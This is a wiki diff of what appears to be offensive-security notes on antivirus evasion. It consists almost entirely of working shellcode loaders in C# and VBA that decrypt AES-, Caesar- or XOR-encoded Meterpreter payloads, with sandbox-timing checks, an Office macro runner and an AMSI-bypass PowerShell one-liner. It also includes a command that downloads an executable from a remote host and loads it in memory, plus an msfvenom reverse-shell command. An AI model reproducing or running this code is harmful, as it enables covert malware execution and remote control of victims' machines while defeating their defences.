[https://github.com/plackyhacker/Shellcode-Encryptor/tree/master plackyhacker/Shellcode-Encryptor: A simple shell code encryptor/decryptor/executor to bypass anti virus. (github.com)] | [https://github.com/plackyhacker/Shellcode-Encryptor/tree/master plackyhacker/Shellcode-Encryptor: A simple shell code encryptor/decryptor/executor to bypass anti virus. (github.com)] | ||
[https://github.com/plackyhacker/Shellcode-Injection-Techniques/tree/master plackyhacker/Shellcode-Injection-Techniques: A collection of C# shellcode injection techniques. All techniques use an AES encrypted meterpreter payload. I will be building this project up as I learn, discover or develop more techniques. Some techniques are better than others at bypassing AV. (github.com)] | [https://github.com/plackyhacker/Shellcode-Injection-Techniques/tree/master plackyhacker/Shellcode-Injection-Techniques: A collection of C# shellcode injection techniques. All techniques use an AES encrypted meterpreter payload. I will be building this project up as I learn, discover or develop more techniques. Some techniques are better than others at bypassing AV. (github.com)] | ||
<syntaxhighlight lang="bash"> | <syntaxhighlight lang="bash"> | ||
| Line 8,542: | Line 6,499: | ||
using System.Text; | using System.Text; | ||
using System.IO; | using System.IO; | ||
namespace ProcessInjection | namespace ProcessInjection | ||
{ | { | ||
| Line 8,561: | Line 6,517: | ||
PAGE_WRITECOMBINE = 0x400 | PAGE_WRITECOMBINE = 0x400 | ||
} | } | ||
[DllImport("kernel32.dll")] | [DllImport("kernel32.dll")] | ||
static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect); | static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect); | ||
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)] | [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)] | ||
static extern IntPtr VirtualAllocExNuma(IntPtr hProcess, IntPtr lpAddress, uint dwSize, UInt32 flAllocationType, UInt32 flProtect, UInt32 nndPreferred); | static extern IntPtr VirtualAllocExNuma(IntPtr hProcess, IntPtr lpAddress, uint dwSize, UInt32 flAllocationType, UInt32 flProtect, UInt32 nndPreferred); | ||
private delegate Int32 ShellcodeDelegate(); | private delegate Int32 ShellcodeDelegate(); | ||
static void Main(string[] args) | static void Main(string[] args) | ||
{ | { | ||
Shellcode(); | Shellcode(); | ||
} | } | ||
static void Shellcode() | static void Shellcode() | ||
{ | { | ||
| Line 8,583: | Line 6,534: | ||
return; | return; | ||
} | } | ||
// decrypt the base64 payload - change these to your own encrypted payload and key | // decrypt the base64 payload - change these to your own encrypted payload and key | ||
string payload = "sZkMiiTitR5hQL2YXTBgjq91qq0FuEqgfR7YiKt2N1IZ8vqW3q/BrIYTjBb7nKLXCsJM25sRqh+R9WHGNsTV8webqwx7ZfAYSvlmEmzIJcKaBVdJO+Lbr7h9RomrOdyaPUAZ6P49lnsZFF1fdvnFOg/WvSdKUrx/eKEt5sNBn/Jz43y26mDEwEEqseydPQHyBcT9Av/ZkTQC6GZU8D+pQhKvXNdnlGrHJk4+G25me/Hzr0P1YuX9ZpGbyXb/pLdmdViAGAPtA/OORVt6xmij4AY24j8SLocUs2A6lSJZHYD2C1+DIc1Lyw8UJ6dtNIU2xDtsHCWX0OlkcjU+QoYpCavs78Y+OePjyBwkryWTzMyuKBgAREjbQQdsIn6dQZeqk/tKI/l6Fmhu27V+wFX7mxUP/KXWf9PI/3QYiuLmkJCWFBL9sINPbLVLePFSke8Ik3t+vp5SIcM+wMufg+TXBdUNpE//gTgCpblXdJfkkqVpMFBxnfX2vYPDcFLWteiNsnHCn9REbVB3MqJe5T55tO/CLq1KkZ2R7Z7rra6H8OhJgOLKEdJ/XHdZV9IFatAtRW2dxVo49P2YFmux2WSDiKhVRoCuLMVM6PeTuzsN+2qV4Zrq6tRAVLwmmTn5uflWER1aScePh6+6utXW/0jS+Hz7KiGP2//8+YDwzYbkLJnfn9B4AdmE4BuNTJRrv7tumsxboNkmWOx87lVElzn5ZM9OP721s8LiSyfkD1zm4o9j2u80syPeEU3PXvOU1epBTsTjdwRWlAYF+wzv3olAjPzR/xojjB602MIUNeCPn4fqDp6NjEokELcgawbWNl1vKYo4QEYgtlhVmqIkk2ooz527AEQb5EWQhkaZEWr4AAmGO1YfvYDCTcfUwV9p/jkg"; | string payload = "sZkMiiTitR5hQL2YXTBgjq91qq0FuEqgfR7YiKt2N1IZ8vqW3q/BrIYTjBb7nKLXCsJM25sRqh+R9WHGNsTV8webqwx7ZfAYSvlmEmzIJcKaBVdJO+Lbr7h9RomrOdyaPUAZ6P49lnsZFF1fdvnFOg/WvSdKUrx/eKEt5sNBn/Jz43y26mDEwEEqseydPQHyBcT9Av/ZkTQC6GZU8D+pQhKvXNdnlGrHJk4+G25me/Hzr0P1YuX9ZpGbyXb/pLdmdViAGAPtA/OORVt6xmij4AY24j8SLocUs2A6lSJZHYD2C1+DIc1Lyw8UJ6dtNIU2xDtsHCWX0OlkcjU+QoYpCavs78Y+OePjyBwkryWTzMyuKBgAREjbQQdsIn6dQZeqk/tKI/l6Fmhu27V+wFX7mxUP/KXWf9PI/3QYiuLmkJCWFBL9sINPbLVLePFSke8Ik3t+vp5SIcM+wMufg+TXBdUNpE//gTgCpblXdJfkkqVpMFBxnfX2vYPDcFLWteiNsnHCn9REbVB3MqJe5T55tO/CLq1KkZ2R7Z7rra6H8OhJgOLKEdJ/XHdZV9IFatAtRW2dxVo49P2YFmux2WSDiKhVRoCuLMVM6PeTuzsN+2qV4Zrq6tRAVLwmmTn5uflWER1aScePh6+6utXW/0jS+Hz7KiGP2//8+YDwzYbkLJnfn9B4AdmE4BuNTJRrv7tumsxboNkmWOx87lVElzn5ZM9OP721s8LiSyfkD1zm4o9j2u80syPeEU3PXvOU1epBTsTjdwRWlAYF+wzv3olAjPzR/xojjB602MIUNeCPn4fqDp6NjEokELcgawbWNl1vKYo4QEYgtlhVmqIkk2ooz527AEQb5EWQhkaZEWr4AAmGO1YfvYDCTcfUwV9p/jkg"; | ||
string key = "fjlmjiEgnQ4K6CjNCrPlqug1HW4icMec"; | string key = "fjlmjiEgnQ4K6CjNCrPlqug1HW4icMec"; | ||
byte[] buf = Decrypt(key, payload); | byte[] buf = Decrypt(key, payload); | ||
unsafe | unsafe | ||
{ | { | ||
| Line 8,597: | Line 6,545: | ||
IntPtr memoryAddress = (IntPtr)ptr; | IntPtr memoryAddress = (IntPtr)ptr; | ||
VirtualProtect(memoryAddress, (UIntPtr)buf.Length, (UInt32)Protection.PAGE_EXECUTE_READWRITE, out uint lpfOldProtect); | VirtualProtect(memoryAddress, (UIntPtr)buf.Length, (UInt32)Protection.PAGE_EXECUTE_READWRITE, out uint lpfOldProtect); | ||
ShellcodeDelegate func = (ShellcodeDelegate)Marshal.GetDelegateForFunctionPointer(memoryAddress, typeof(ShellcodeDelegate)); | ShellcodeDelegate func = (ShellcodeDelegate)Marshal.GetDelegateForFunctionPointer(memoryAddress, typeof(ShellcodeDelegate)); | ||
func(); | func(); | ||
| Line 8,603: | Line 6,550: | ||
} | } | ||
} | } | ||
private static byte[] Decrypt(string key, string aes_base64) | private static byte[] Decrypt(string key, string aes_base64) | ||
{ | { | ||
byte[] tempKey = Encoding.ASCII.GetBytes(key); | byte[] tempKey = Encoding.ASCII.GetBytes(key); | ||
tempKey = SHA256.Create().ComputeHash(tempKey); | tempKey = SHA256.Create().ComputeHash(tempKey); | ||
byte[] data = Convert.FromBase64String(aes_base64); | byte[] data = Convert.FromBase64String(aes_base64); | ||
// decrypt data | // decrypt data | ||
Aes aes = new AesManaged(); | Aes aes = new AesManaged(); | ||
| Line 8,616: | Line 6,560: | ||
aes.Padding = PaddingMode.PKCS7; | aes.Padding = PaddingMode.PKCS7; | ||
ICryptoTransform dec = aes.CreateDecryptor(tempKey, SubArray(tempKey, 16)); | ICryptoTransform dec = aes.CreateDecryptor(tempKey, SubArray(tempKey, 16)); | ||
using (MemoryStream msDecrypt = new MemoryStream()) | using (MemoryStream msDecrypt = new MemoryStream()) | ||
{ | { | ||
using (CryptoStream csDecrypt = new CryptoStream(msDecrypt, dec, CryptoStreamMode.Write)) | using (CryptoStream csDecrypt = new CryptoStream(msDecrypt, dec, CryptoStreamMode.Write)) | ||
{ | { | ||
csDecrypt.Write(data, 0, data.Length); | csDecrypt.Write(data, 0, data.Length); | ||
return msDecrypt.ToArray(); | return msDecrypt.ToArray(); | ||
} | } | ||
} | } | ||
} | } | ||
static byte[] SubArray(byte[] a, int length) | static byte[] SubArray(byte[] a, int length) | ||
{ | { | ||
| Line 8,641: | Line 6,581: | ||
} | } | ||
</syntaxhighlight> | </syntaxhighlight> | ||
'''Instruction:''' | '''Instruction:''' | ||
Use the <code>meterpreter_encryptor.py</code> to create the encrypted base64 shellcode: | Use the <code>meterpreter_encryptor.py</code> to create the encrypted base64 shellcode: | ||
<syntaxhighlight lang="bash"> | <syntaxhighlight lang="bash"> | ||
| Line 8,664: | Line 6,601: | ||
sZkMiiTitR5hQL2YXTBgjq91qq0FuEqgfR7YiKt2N1IZ8vqW3q/BrIYTjBb7nKLXCsJM25sRqh+R9WHGNsTV8webqwx7ZfAYSvlmEmzIJcKaBVdJO+Lbr7h9RomrOdyaPUAZ6P49lnsZFF1fdvnFOg/WvSdKUrx/eKEt5sNBn/Jz43y26mDEwEEqseydPQHyBcT9Av/ZkTQC6GZU8D+pQhKvXNdnlGrHJk4+G25me/Hzr0P1YuX9ZpGbyXb/pLdmdViAGAPtA/OORVt6xmij4AY24j8SLocUs2A6lSJZHYD2C1+DIc1Lyw8UJ6dtNIU2xDtsHCWX0OlkcjU+QoYpCavs78Y+OePjyBwkryWTzMyuKBgAREjbQQdsIn6dQZeqk/tKI/l6Fmhu27V+wFX7mxUP/KXWf9PI/3QYiuLmkJCWFBL9sINPbLVLePFSke8Ik3t+vp5SIcM+wMufg+TXBdUNpE//gTgCpblXdJfkkqVpMFBxnfX2vYPDcFLWteiNsnHCn9REbVB3MqJe5T55tO/CLq1KkZ2R7Z7rra6H8OhJgOLKEdJ/XHdZV9IFatAtRW2dxVo49P2YFmux2WSDiKhVRoCuLMVM6PeTuzsN+2qV4Zrq6tRAVLwmmTn5uflWER1aScePh6+6utXW/0jS+Hz7KiGP2//8+YDwzYbkLJnfn9B4AdmE4BuNTJRrv7tumsxboNkmWOx87lVElzn5ZM9OP721s8LiSyfkD1zm4o9j2u80syPeEU3PXvOU1epBTsTjdwRWlAYF+wzv3olAjPzR/xojjB602MIUNeCPn4fqDp6NjEokELcgawbWNl1vKYo4QEYgtlhVmqIkk2ooz527AEQb5EWQhkaZEWr4AAmGO1YfvYDCTcfUwV9p/jkg | sZkMiiTitR5hQL2YXTBgjq91qq0FuEqgfR7YiKt2N1IZ8vqW3q/BrIYTjBb7nKLXCsJM25sRqh+R9WHGNsTV8webqwx7ZfAYSvlmEmzIJcKaBVdJO+Lbr7h9RomrOdyaPUAZ6P49lnsZFF1fdvnFOg/WvSdKUrx/eKEt5sNBn/Jz43y26mDEwEEqseydPQHyBcT9Av/ZkTQC6GZU8D+pQhKvXNdnlGrHJk4+G25me/Hzr0P1YuX9ZpGbyXb/pLdmdViAGAPtA/OORVt6xmij4AY24j8SLocUs2A6lSJZHYD2C1+DIc1Lyw8UJ6dtNIU2xDtsHCWX0OlkcjU+QoYpCavs78Y+OePjyBwkryWTzMyuKBgAREjbQQdsIn6dQZeqk/tKI/l6Fmhu27V+wFX7mxUP/KXWf9PI/3QYiuLmkJCWFBL9sINPbLVLePFSke8Ik3t+vp5SIcM+wMufg+TXBdUNpE//gTgCpblXdJfkkqVpMFBxnfX2vYPDcFLWteiNsnHCn9REbVB3MqJe5T55tO/CLq1KkZ2R7Z7rra6H8OhJgOLKEdJ/XHdZV9IFatAtRW2dxVo49P2YFmux2WSDiKhVRoCuLMVM6PeTuzsN+2qV4Zrq6tRAVLwmmTn5uflWER1aScePh6+6utXW/0jS+Hz7KiGP2//8+YDwzYbkLJnfn9B4AdmE4BuNTJRrv7tumsxboNkmWOx87lVElzn5ZM9OP721s8LiSyfkD1zm4o9j2u80syPeEU3PXvOU1epBTsTjdwRWlAYF+wzv3olAjPzR/xojjB602MIUNeCPn4fqDp6NjEokELcgawbWNl1vKYo4QEYgtlhVmqIkk2ooz527AEQb5EWQhkaZEWr4AAmGO1YfvYDCTcfUwV9p/jkg | ||
</syntaxhighlight> | </syntaxhighlight> | ||
Take the key and shellcode and insert it into [https://github.com/plackyhacker/ShellcodeEncryptor/blob/master/ProcessInjection.cs ProcessInjector.cs] | Take the key and shellcode and insert it into [https://github.com/plackyhacker/ShellcodeEncryptor/blob/master/ProcessInjection.cs ProcessInjector.cs] | ||
<syntaxhighlight lang="bash"> | <syntaxhighlight lang="bash"> | ||
| Line 8,674: | Line 6,609: | ||
string key = "fjlmjiEgnQ4K6CjNCrPlqug1HW4icMec"; | string key = "fjlmjiEgnQ4K6CjNCrPlqug1HW4icMec"; | ||
</syntaxhighlight> | </syntaxhighlight> | ||
Compile the C# code into an executable (e.g., <code>metInject.exe</code>) and serve it via a web server. | Compile the C# code into an executable (e.g., <code>metInject.exe</code>) and serve it via a web server. | ||
Inject the executable into a remote PowerShell process: | Inject the executable into a remote PowerShell process: | ||
<syntaxhighlight lang="bash"> | <syntaxhighlight lang="bash"> | ||
# AMSI bypass | # AMSI bypass | ||
$a = [Ref].Assembly.GetTypes();ForEach($b in $a) {if ($b.Name -like "*iutils") {$c = $b}};$d = $c.GetFields('NonPublic,Static');ForEach($e in $d) {if ($e.Name -like "*itFailed") {$f = $e}};$f.SetValue($null,$true) | $a = [Ref].Assembly.GetTypes();ForEach($b in $a) {if ($b.Name -like "*iutils") {$c = $b}};$d = $c.GetFields('NonPublic,Static');ForEach($e in $d) {if ($e.Name -like "*itFailed") {$f = $e}};$f.SetValue($null,$true) | ||
$bytes = (Invoke-WebRequest "http://192.168.1.228/metInject.exe").Content; | $bytes = (Invoke-WebRequest "http://192.168.1.228/metInject.exe").Content; | ||
$assembly = [System.Reflection.Assembly]::Load($bytes); | $assembly = [System.Reflection.Assembly]::Load($bytes); | ||
| Line 8,691: | Line 6,622: | ||
$entryPointMethod.Invoke($null, (, [string[]] ('', ''))); | $entryPointMethod.Invoke($null, (, [string[]] ('', ''))); | ||
</syntaxhighlight> | </syntaxhighlight> | ||
==== AES - Csharp ==== | ==== AES - Csharp ==== | ||
<syntaxhighlight lang="csharp"> | <syntaxhighlight lang="csharp"> | ||
| Line 8,701: | Line 6,630: | ||
using System.Runtime.InteropServices; | using System.Runtime.InteropServices; | ||
using System.Security.Cryptography; | using System.Security.Cryptography; | ||
/*----------------------------------------------- | /*----------------------------------------------- | ||
| Line 8,710: | Line 6,638: | ||
* Website: SevroSecurity.com | | * Website: SevroSecurity.com | | ||
* ---------------------------------------------*/ | * ---------------------------------------------*/ | ||
namespace goodTimes | namespace goodTimes | ||
| Line 8,719: | Line 6,646: | ||
public static byte[] key = new byte[] { 0x33, 0xED, 0x8A, 0x15, 0xD9, 0x26, 0xC5, 0x1C, 0x95, 0xF1, 0x4C, 0x11, 0xE4, 0x37, 0xD4, 0x5B, 0xE8, 0xDD, 0x8E, 0xED, 0xDC, 0x01, 0x38, 0xC7 }; | public static byte[] key = new byte[] { 0x33, 0xED, 0x8A, 0x15, 0xD9, 0x26, 0xC5, 0x1C, 0x95, 0xF1, 0x4C, 0x11, 0xE4, 0x37, 0xD4, 0x5B, 0xE8, 0xDD, 0x8E, 0xED, 0xDC, 0x01, 0x38, 0xC7 }; | ||
public static byte[] iv = new byte[] { 0x2B, 0x6F, 0xD1, 0xE3, 0x59, 0x6F, 0xC3, 0x31, 0x62, 0xC9, 0x98, 0x55, 0x7B, 0x00, 0xCB, 0xD1 }; | public static byte[] iv = new byte[] { 0x2B, 0x6F, 0xD1, 0xE3, 0x59, 0x6F, 0xC3, 0x31, 0x62, 0xC9, 0x98, 0x55, 0x7B, 0x00, 0xCB, 0xD1 }; | ||
// MAIN | // MAIN | ||
static void Main(string[] args) | static void Main(string[] args) | ||
| Line 8,725: | Line 6,651: | ||
String app_name = AppDomain.CurrentDomain.FriendlyName; | String app_name = AppDomain.CurrentDomain.FriendlyName; | ||
String usage = $"Usage: {app_name} "; | String usage = $"Usage: {app_name} "; | ||
// ENCRYPT PAYLOAD | // ENCRYPT PAYLOAD | ||
if (args.Length == 1) | if (args.Length == 1) | ||
| Line 8,734: | Line 6,659: | ||
Environment.Exit(1); | Environment.Exit(1); | ||
} | } | ||
Console.WriteLine("[i] Encrypting Data"); | Console.WriteLine("[i] Encrypting Data"); | ||
// Read in MetaSploit Byte[] Code from File | // Read in MetaSploit Byte[] Code from File | ||
String fileData = System.IO.File.ReadAllText($@"{args[0]}"); | String fileData = System.IO.File.ReadAllText($@"{args[0]}"); | ||
String tmp = (fileData.Split('{')[1]).Split('}')[0]; | String tmp = (fileData.Split('{')[1]).Split('}')[0]; | ||
// Translate to Byte Array | // Translate to Byte Array | ||
string[] s = tmp.Split(','); | string[] s = tmp.Split(','); | ||
| Line 8,754: | Line 6,676: | ||
// msfvenom -p windows/exe cmd=calc.exe -f csharp --> CHANGE ME! | // msfvenom -p windows/exe cmd=calc.exe -f csharp --> CHANGE ME! | ||
String hiphop = "ZxOy1BksVfrlq8wcmyHY8GwwiBZd8NGrGQiKvx15hcv9sQ9apoO6NGbNBxAeS4NLHSz4owcdPgQTTejYJr80Ke4ynoy41yrc5RD0uqt1ppyxDAeYGATQy7xFbN247gwFee5cPZAFyBzbI6DvOLBFSJiP64kv5T7pX3iapVsX7ORmg7Ubfa1M9PcYNm5qzS9dyHxFdeD578YA6DGYC0UPzmeDXB11R0MWmPAkRGFftQp + YdurMHce1R4HC9bQ0gtm / MLHIP / UTPbIUtwrEAqQ / SYJcJCmeCPynYLNYrn9ae1xvCBokUTgdK + gpUa58ss2F4F60p1ujZNHmQ1Bn39WZmK5R4wSVmdFJpKRZXeGycAziEVlGjsS7XDKsvQvWvaZKqealuTWxH9q6n++zrRJZ0TBorjcFHKJZOLK5bNgKx0DbmFHXz + KBH400o"; | String hiphop = "ZxOy1BksVfrlq8wcmyHY8GwwiBZd8NGrGQiKvx15hcv9sQ9apoO6NGbNBxAeS4NLHSz4owcdPgQTTejYJr80Ke4ynoy41yrc5RD0uqt1ppyxDAeYGATQy7xFbN247gwFee5cPZAFyBzbI6DvOLBFSJiP64kv5T7pX3iapVsX7ORmg7Ubfa1M9PcYNm5qzS9dyHxFdeD578YA6DGYC0UPzmeDXB11R0MWmPAkRGFftQp + YdurMHce1R4HC9bQ0gtm / MLHIP / UTPbIUtwrEAqQ / SYJcJCmeCPynYLNYrn9ae1xvCBokUTgdK + gpUa58ss2F4F60p1ujZNHmQ1Bn39WZmK5R4wSVmdFJpKRZXeGycAziEVlGjsS7XDKsvQvWvaZKqealuTWxH9q6n++zrRJZ0TBorjcFHKJZOLK5bNgKx0DbmFHXz + KBH400o"; | ||
byte[] de_data = Decrypt(Convert.FromBase64String(hiphop), key, iv); | byte[] de_data = Decrypt(Convert.FromBase64String(hiphop), key, iv); | ||
nonsense(de_data); | nonsense(de_data); | ||
} | } | ||
} | } | ||
// Shell Code Loader | // Shell Code Loader | ||
public static bool nonsense(byte[] shellcode) | public static bool nonsense(byte[] shellcode) | ||
{ | { | ||
try | try | ||
{ | { | ||
| Line 8,773: | Line 6,691: | ||
UInt32 threadId = 0; | UInt32 threadId = 0; | ||
IntPtr pinfo = IntPtr.Zero; | IntPtr pinfo = IntPtr.Zero; | ||
hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId); | hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId); | ||
WaitForSingleObject(hThread, 0xFFFFFFFF); | WaitForSingleObject(hThread, 0xFFFFFFFF); | ||
return true; | return true; | ||
} | } | ||
| Line 8,785: | Line 6,701: | ||
} | } | ||
} | } | ||
// Used to Load Shellcode into Memory: | // Used to Load Shellcode into Memory: | ||
private static UInt32 MEM_COMMIT = 0x1000; | private static UInt32 MEM_COMMIT = 0x1000; | ||
private static UInt32 PAGE_EXECUTE_READWRITE = 0x40; | private static UInt32 PAGE_EXECUTE_READWRITE = 0x40; | ||
[DllImport("kernel32")] | [DllImport("kernel32")] | ||
private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr, | private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr, | ||
UInt32 size, UInt32 flAllocationType, UInt32 flProtect); | UInt32 size, UInt32 flAllocationType, UInt32 flProtect); | ||
[DllImport("kernel32")] | [DllImport("kernel32")] | ||
private static extern IntPtr CreateThread( | private static extern IntPtr CreateThread( | ||
| Line 8,803: | Line 6,716: | ||
ref UInt32 lpThreadId | ref UInt32 lpThreadId | ||
); | ); | ||
[DllImport("kernel32")] | [DllImport("kernel32")] | ||
private static extern UInt32 WaitForSingleObject( | private static extern UInt32 WaitForSingleObject( | ||
| Line 8,809: | Line 6,721: | ||
UInt32 dwMilliseconds | UInt32 dwMilliseconds | ||
); | ); | ||
public static byte[] Encrypt(byte[] data, byte[] key, byte[] iv) | public static byte[] Encrypt(byte[] data, byte[] key, byte[] iv) | ||
| Line 8,818: | Line 6,729: | ||
aes.BlockSize = 128; | aes.BlockSize = 128; | ||
aes.Padding = PaddingMode.Zeros; | aes.Padding = PaddingMode.Zeros; | ||
aes.Key = key; | aes.Key = key; | ||
aes.IV = iv; | aes.IV = iv; | ||
using (var encryptor = aes.CreateEncryptor(aes.Key, aes.IV)) | using (var encryptor = aes.CreateEncryptor(aes.Key, aes.IV)) | ||
{ | { | ||
| Line 8,828: | Line 6,737: | ||
} | } | ||
} | } | ||
public static byte[] Decrypt(byte[] data, byte[] key, byte[] iv) | public static byte[] Decrypt(byte[] data, byte[] key, byte[] iv) | ||
{ | { | ||
| Line 8,836: | Line 6,744: | ||
aes.BlockSize = 128; | aes.BlockSize = 128; | ||
aes.Padding = PaddingMode.Zeros; | aes.Padding = PaddingMode.Zeros; | ||
aes.Key = key; | aes.Key = key; | ||
aes.IV = iv; | aes.IV = iv; | ||
using (var decryptor = aes.CreateDecryptor(aes.Key, aes.IV)) | using (var decryptor = aes.CreateDecryptor(aes.Key, aes.IV)) | ||
{ | { | ||
| Line 8,846: | Line 6,752: | ||
} | } | ||
} | } | ||
private static byte[] PerformCryptography(byte[] data, ICryptoTransform cryptoTransform) | private static byte[] PerformCryptography(byte[] data, ICryptoTransform cryptoTransform) | ||
{ | { | ||
| Line 8,854: | Line 6,759: | ||
cryptoStream.Write(data, 0, data.Length); | cryptoStream.Write(data, 0, data.Length); | ||
cryptoStream.FlushFinalBlock(); | cryptoStream.FlushFinalBlock(); | ||
return ms.ToArray(); | return ms.ToArray(); | ||
} | } | ||
} | } | ||
} | } | ||
} | } | ||
</syntaxhighlight> | </syntaxhighlight> | ||
==== Ceasar ==== | ==== Ceasar ==== | ||
'''Csharp shellcode''' | '''Csharp shellcode''' | ||
<syntaxhighlight lang="csharp"> | <syntaxhighlight lang="csharp"> | ||
| Line 8,878: | Line 6,777: | ||
using System.Text; | using System.Text; | ||
using System.Threading; | using System.Threading; | ||
namespace ConsoleApp1 | namespace ConsoleApp1 | ||
{ | { | ||
| Line 8,886: | Line 6,784: | ||
static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, | static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, | ||
uint flAllocationType, uint flProtect); | uint flAllocationType, uint flProtect); | ||
[DllImport("kernel32.dll")] | [DllImport("kernel32.dll")] | ||
static extern IntPtr CreateThread(IntPtr lpThreadAttributes, | static extern IntPtr CreateThread(IntPtr lpThreadAttributes, | ||
uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, | uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, | ||
uint dwCreationFlags, IntPtr lpThreadId); | uint dwCreationFlags, IntPtr lpThreadId); | ||
[DllImport("kernel32.dll")] | [DllImport("kernel32.dll")] | ||
static extern UInt32 WaitForSingleObject(IntPtr hHandle, | static extern UInt32 WaitForSingleObject(IntPtr hHandle, | ||
UInt32 dwMilliseconds); | UInt32 dwMilliseconds); | ||
static void Main(string[] args) | static void Main(string[] args) | ||
{ | { | ||
| Line 8,904: | Line 6,799: | ||
buf[i] = (byte)(((uint)buf[i] - 2) & 0xFF); | buf[i] = (byte)(((uint)buf[i] - 2) & 0xFF); | ||
} | } | ||
int size = buf.Length; | int size = buf.Length; | ||
IntPtr addr = VirtualAlloc(IntPtr.Zero, 0x1000, 0x3000, 0x40); | IntPtr addr = VirtualAlloc(IntPtr.Zero, 0x1000, 0x3000, 0x40); | ||
| Line 8,914: | Line 6,808: | ||
} | } | ||
} | } | ||
</syntaxhighlight> | </syntaxhighlight> | ||
'''VBA shellcode ''' | '''VBA shellcode ''' | ||
Change the XOR vba runner with this | Change the XOR vba runner with this | ||
<syntaxhighlight lang="csharp"> | <syntaxhighlight lang="csharp"> | ||
| Line 8,929: | Line 6,819: | ||
Next i | Next i | ||
</syntaxhighlight> | </syntaxhighlight> | ||
==== XOR ==== | ==== XOR ==== | ||
'''CSharp''' | '''CSharp''' | ||
<syntaxhighlight lang="csharp"> | <syntaxhighlight lang="csharp"> | ||
using System.Runtime.InteropServices; | using System.Runtime.InteropServices; | ||
using System; | using System; | ||
namespace rev | namespace rev | ||
{ | { | ||
| Line 8,947: | Line 6,833: | ||
public const uint EXECUTEREADWRITE = 0x40; | public const uint EXECUTEREADWRITE = 0x40; | ||
public const uint COMMIT_RESERVE = 0x3000; | public const uint COMMIT_RESERVE = 0x3000; | ||
[DllImport("kernel32.dll")] | [DllImport("kernel32.dll")] | ||
static extern void Sleep(uint dwMilliseconds); | static extern void Sleep(uint dwMilliseconds); | ||
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)] | [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)] | ||
static extern IntPtr VirtualAlloc(IntPtr lpAddress, int dwSize, uint flAllocationType, uint flProtect); | static extern IntPtr VirtualAlloc(IntPtr lpAddress, int dwSize, uint flAllocationType, uint flProtect); | ||
[DllImport("Kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)] | [DllImport("Kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)] | ||
private unsafe static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, uint lpThreadId); | private unsafe static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, uint lpThreadId); | ||
[DllImport("kernel32.dll", SetLastError = true)] | [DllImport("kernel32.dll", SetLastError = true)] | ||
public static extern Int32 WaitForSingleObject(IntPtr Handle, Int32 Wait); | public static extern Int32 WaitForSingleObject(IntPtr Handle, Int32 Wait); | ||
public static void Main() | public static void Main() | ||
{ | { | ||
DateTime t1 = DateTime.Now; | DateTime t1 = DateTime.Now; | ||
Sleep(10000); | Sleep(10000); | ||
| Line 8,970: | Line 6,850: | ||
return; | return; | ||
} | } | ||
// msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.232.133 LPORT=443 EXITFUNC=thread -f csharp | // msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.232.133 LPORT=443 EXITFUNC=thread -f csharp | ||
// XORed with key 0xfa | // XORed with key 0xfa | ||
| Line 8,988: | Line 6,867: | ||
} | } | ||
} | } | ||
</syntaxhighlight> | </syntaxhighlight> | ||
'''VBA''' | '''VBA''' | ||
<syntaxhighlight lang="visual"> | <syntaxhighlight lang="visual"> | ||
| Line 9,011: | Line 6,887: | ||
Dim data As Long | Dim data As Long | ||
Dim res As LongPtr | Dim res As LongPtr | ||
' Call FlsAlloc and verify if the result exists | ' Call FlsAlloc and verify if the result exists | ||
allocRes = FlsAlloc(0) | allocRes = FlsAlloc(0) | ||
| Line 9,017: | Line 6,892: | ||
End | End | ||
End If | End If | ||
' Sleep for 10 seconds and verify time passed | ' Sleep for 10 seconds and verify time passed | ||
t1 = Now() | t1 = Now() | ||
| Line 9,026: | Line 6,900: | ||
Exit Sub | Exit Sub | ||
End If | End If | ||
' Shellcode encoded with XOR with key 0xfa/250 (output from C# helper tool) | ' Shellcode encoded with XOR with key 0xfa/250 (output from C# helper tool) | ||
buf = Array(6, 178, 121, 30, 10, 18, 54, 250, 250, 250, 187, 171, 187, 170, 168, , 113, 136, 170, 183, 203, 51, 178, 203, 58, 86, 198, 155, ...) | buf = Array(6, 178, 121, 30, 10, 18, 54, 250, 250, 250, 187, 171, 187, 170, 168, , 113, 136, 170, 183, 203, 51, 178, 203, 58, 86, 198, 155, ...) | ||
' Allocate memory space | ' Allocate memory space | ||
addr = VirtualAlloc(0, UBound(buf), &H3000, &H40) | addr = VirtualAlloc(0, UBound(buf), &H3000, &H40) | ||
' Decode the shellcode | ' Decode the shellcode | ||
For i = 0 To UBound(buf) | For i = 0 To UBound(buf) | ||
buf(i) = buf(i) Xor 250 | buf(i) = buf(i) Xor 250 | ||
Next i | Next i | ||
' Move the shellcode | ' Move the shellcode | ||
For counter = LBound(buf) To UBound(buf) | For counter = LBound(buf) To UBound(buf) | ||
| Line 9,043: | Line 6,913: | ||
res = RtlMoveMemory(addr + counter, data, 1) | res = RtlMoveMemory(addr + counter, data, 1) | ||
Next counter | Next counter | ||
' Execute the shellcode | ' Execute the shellcode | ||
res = CreateThread(0, 0, addr, 0, 0, 0) | res = CreateThread(0, 0, addr, 0, 0, 0) | ||
| Line 9,053: | Line 6,922: | ||
MyMacro | MyMacro | ||
End Sub | End Sub | ||
</syntaxhighlight> | </syntaxhighlight> | ||
== Simple Shellcode Runners == | == Simple Shellcode Runners == | ||
=== ASPX === | === ASPX === | ||
